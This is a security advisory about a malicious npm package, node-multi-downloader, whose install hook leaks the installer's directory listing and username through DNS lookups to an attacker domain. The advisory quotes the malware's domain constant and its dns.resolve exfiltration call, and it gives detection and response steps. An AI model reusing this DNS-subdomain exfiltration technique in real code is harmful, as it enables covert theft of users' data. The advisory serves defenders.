node-multi-downloadernpm
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node-multi-downloader is a confirmed malicious npm package (MAL-2026-5735) that executes malicious code on install (malicious version 5.0.14-rc.3). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in node-multi-downloader (npm)
What this malware does
On npm install, this package's postinstall hook (node index.js) hex-encodes the installer's current working directory, the first 15 entries of that directory, and os.userInfo().username, and leaks each chunk via DNS A-record lookups to subdomains of the attacker-controlled domain uqlyosvp1f9.oob.evilsec.xyz. The hardcoded out-of-band domain is bound at index.js line 1 (const D = "uqlyosvp1f9.oob.evilsec.xyz") and index.js line 8 calls dns.resolve(${chunk}.${tag}${i}.${D}, 'A',...) to transmit the encoded data. DNS-subdomain encoding is a well-known technique to evade HTTP egress filtering. The package metadata (description "RSI package!", anonymous author, release-candidate version) provides no legitimate purpose that would justify reading installer filesystem and identity at install time.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for node-multi-downloader (version 5.0.14-rc.3).
If you installed it — respond
Remove node-multi-downloader from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If node-multi-downloader was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks node-multi-downloader-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.